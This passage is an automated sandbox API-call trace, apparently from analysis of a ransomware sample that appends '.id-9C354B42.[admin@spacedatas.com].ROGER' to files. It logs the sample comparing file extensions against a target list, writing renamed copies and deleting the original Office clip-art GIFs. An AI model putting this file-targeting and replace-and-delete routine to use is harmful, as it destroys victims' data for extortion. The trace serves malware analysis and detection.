[0056.109] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0056.109] lstrlenW (lpString=".zip") returned 4 [0056.109] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.109] lstrlenW (lpString=".rar") returned 4 [0056.109] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.109] lstrlenW (lpString=".bz2") returned 4 [0056.109] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.109] lstrlenW (lpString=".7z") returned 3 [0056.109] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0056.109] lstrlenW (lpString=".dbf") returned 4 [0056.109] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0056.109] lstrlenW (lpString=".1cd") returned 4 [0056.109] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0056.110] lstrlenW (lpString=".jpg") returned 4 [0056.110] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0056.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0056.110] lstrlenW (lpString=".doc") returned 4 [0056.110] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.110] lstrlenW (lpString=".docx") returned 5 [0056.110] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.110] lstrlenW (lpString=".pdf") returned 4 [0056.110] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.110] lstrlenW (lpString=".xls") returned 4 [0056.110] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.110] lstrlenW (lpString=".xlsx") returned 5 [0056.110] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.110] lstrlenW (lpString=".ppt") returned 4 [0056.110] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0056.110] lstrlenW (lpString=".zip") returned 4 [0056.110] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.110] lstrlenW (lpString=".rar") returned 4 [0056.110] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.110] lstrlenW (lpString=".bz2") returned 4 [0056.110] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.110] lstrlenW (lpString=".7z") returned 3 [0056.110] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0056.110] lstrlenW (lpString=".dbf") returned 4 [0056.110] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0056.110] lstrlenW (lpString=".1cd") returned 4 [0056.110] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0056.110] lstrlenW (lpString=".jpg") returned 4 [0056.111] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.111] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0056.111] lstrlenW (lpString="AG00103_.GIF") returned 12 [0056.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0056.117] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=12702) returned 1 [0056.117] CloseHandle (hObject=0x3f8) returned 1 [0056.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 0x20 [0056.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0056.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0056.118] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.118] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0056.118] GetLastError () returned 0x0 [0056.118] ReadFile (in: hFile=0x3f8, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x319e, lpOverlapped=0x0) returned 1 [0056.134] WriteFile (in: hFile=0x39c, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x31a0, lpOverlapped=0x0) returned 1 [0056.135] ReadFile (in: hFile=0x3f8, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0056.136] WriteFile (in: hFile=0x39c, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.136] SetEndOfFile (hFile=0x39c) returned 1 [0056.136] CloseHandle (hObject=0x39c) returned 1 [0056.136] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.136] SetEndOfFile (hFile=0x3f8) returned 1 [0056.137] CloseHandle (hObject=0x3f8) returned 1 [0056.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0056.137] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 1 [0056.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0056.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0056.137] lstrlenW (lpString=".doc") returned 4 [0056.137] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.137] lstrlenW (lpString=".docx") returned 5 [0056.137] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.137] lstrlenW (lpString=".pdf") returned 4 [0056.137] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.137] lstrlenW (lpString=".xls") returned 4 [0056.138] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.138] lstrlenW (lpString=".xlsx") returned 5 [0056.138] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.138] lstrlenW (lpString=".ppt") returned 4 [0056.138] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0056.138] lstrlenW (lpString=".zip") returned 4 [0056.138] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.138] lstrlenW (lpString=".rar") returned 4 [0056.138] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.138] lstrlenW (lpString=".bz2") returned 4 [0056.138] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.138] lstrlenW (lpString=".7z") returned 3 [0056.138] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0056.138] lstrlenW (lpString=".dbf") returned 4 [0056.138] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0056.138] lstrlenW (lpString=".1cd") returned 4 [0056.138] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0056.138] lstrlenW (lpString=".jpg") returned 4 [0056.138] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0056.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0056.138] lstrlenW (lpString=".doc") returned 4 [0056.138] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.138] lstrlenW (lpString=".docx") returned 5 [0056.138] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.138] lstrlenW (lpString=".pdf") returned 4 [0056.138] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.138] lstrlenW (lpString=".xls") returned 4 [0056.138] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.139] lstrlenW (lpString=".xlsx") returned 5 [0056.139] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.139] lstrlenW (lpString=".ppt") returned 4 [0056.139] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0056.139] lstrlenW (lpString=".zip") returned 4 [0056.139] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.139] lstrlenW (lpString=".rar") returned 4 [0056.139] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.139] lstrlenW (lpString=".bz2") returned 4 [0056.139] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.139] lstrlenW (lpString=".7z") returned 3 [0056.139] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0056.139] lstrlenW (lpString=".dbf") returned 4 [0056.139] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0056.139] lstrlenW (lpString=".1cd") returned 4 [0056.139] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0056.139] lstrlenW (lpString=".jpg") returned 4 [0056.139] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.139] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0056.139] lstrlenW (lpString="AG00120_.GIF") returned 12 [0056.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0056.140] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=3484) returned 1 [0056.140] CloseHandle (hObject=0x3f8) returned 1 [0056.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 0x20 [0056.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0056.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0056.140] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.140] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0056.140] GetLastError () returned 0x0 [0056.140] ReadFile (in: hFile=0x3f8, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0xd9c, lpOverlapped=0x0) returned 1 [0056.142] WriteFile (in: hFile=0x39c, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xda0, lpOverlapped=0x0) returned 1 [0056.143] ReadFile (in: hFile=0x3f8, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0056.143] WriteFile (in: hFile=0x39c, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.143] SetEndOfFile (hFile=0x39c) returned 1 [0056.143] CloseHandle (hObject=0x39c) returned 1 [0056.143] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.143] SetEndOfFile (hFile=0x3f8) returned 1 [0056.144] CloseHandle (hObject=0x3f8) returned 1 [0056.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0056.144] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 1 [0056.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0056.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0056.144] lstrlenW (lpString=".doc") returned 4 [0056.144] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.144] lstrlenW (lpString=".docx") returned 5 [0056.145] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.145] lstrlenW (lpString=".pdf") returned 4 [0056.145] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.145] lstrlenW (lpString=".xls") returned 4 [0056.145] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.145] lstrlenW (lpString=".xlsx") returned 5 [0056.145] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.145] lstrlenW (lpString=".ppt") returned 4 [0056.145] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0056.145] lstrlenW (lpString=".zip") returned 4 [0056.145] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.145] lstrlenW (lpString=".rar") returned 4 [0056.145] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.145] lstrlenW (lpString=".bz2") returned 4 [0056.145] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.145] lstrlenW (lpString=".7z") returned 3 [0056.145] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0056.145] lstrlenW (lpString=".dbf") returned 4 [0056.145] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0056.145] lstrlenW (lpString=".1cd") returned 4 [0056.145] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0056.145] lstrlenW (lpString=".jpg") returned 4 [0056.145] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0056.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0056.145] lstrlenW (lpString=".doc") returned 4 [0056.145] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.145] lstrlenW (lpString=".docx") returned 5 [0056.146] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.146] lstrlenW (lpString=".pdf") returned 4 [0056.146] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.146] lstrlenW (lpString=".xls") returned 4 [0056.146] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.146] lstrlenW (lpString=".xlsx") returned 5 [0056.146] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.146] lstrlenW (lpString=".ppt") returned 4 [0056.146] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0056.146] lstrlenW (lpString=".zip") returned 4 [0056.146] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.146] lstrlenW (lpString=".rar") returned 4 [0056.146] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.146] lstrlenW (lpString=".bz2") returned 4 [0056.146] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.146] lstrlenW (lpString=".7z") returned 3 [0056.146] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0056.146] lstrlenW (lpString=".dbf") returned 4 [0056.146] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0056.146] lstrlenW (lpString=".1cd") returned 4 [0056.146] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0056.146] lstrlenW (lpString=".jpg") returned 4 [0056.146] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.146] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0056.146] lstrlenW (lpString="AG00129_.GIF") returned 12 [0056.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0056.147] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=12482) returned 1 [0056.147] CloseHandle (hObject=0x3f8) returned 1 [0056.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 0x20 [0056.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0056.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0056.147] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.147] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0056.147] GetLastError () returned 0x0 [0056.147] ReadFile (in: hFile=0x3f8, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x30c2, lpOverlapped=0x0) returned 1 [0056.155] WriteFile (in: hFile=0x39c, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x30d0, lpOverlapped=0x0) returned 1 [0056.157] ReadFile (in: hFile=0x3f8, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0056.157] WriteFile (in: hFile=0x39c, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.157] SetEndOfFile (hFile=0x39c) returned 1 [0056.158] CloseHandle (hObject=0x39c) returned 1 [0056.158] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.158] SetEndOfFile (hFile=0x3f8) returned 1 [0056.159] CloseHandle (hObject=0x3f8) returned 1 [0056.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0056.159] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 1 [0056.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0056.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0056.160] lstrlenW (lpString=".doc") returned 4 [0056.160] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.160] lstrlenW (lpString=".docx") returned 5 [0056.160] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.160] lstrlenW (lpString=".pdf") returned 4 [0056.160] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.160] lstrlenW (lpString=".xls") returned 4 [0056.160] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.160] lstrlenW (lpString=".xlsx") returned 5 [0056.160] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.160] lstrlenW (lpString=".ppt") returned 4 [0056.160] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0056.160] lstrlenW (lpString=".zip") returned 4 [0056.160] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.160] lstrlenW (lpString=".rar") returned 4 [0056.160] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.160] lstrlenW (lpString=".bz2") returned 4 [0056.160] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.160] lstrlenW (lpString=".7z") returned 3 [0056.160] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.160] lstrlenW (lpString="C:\\Program Files\\Microsoft 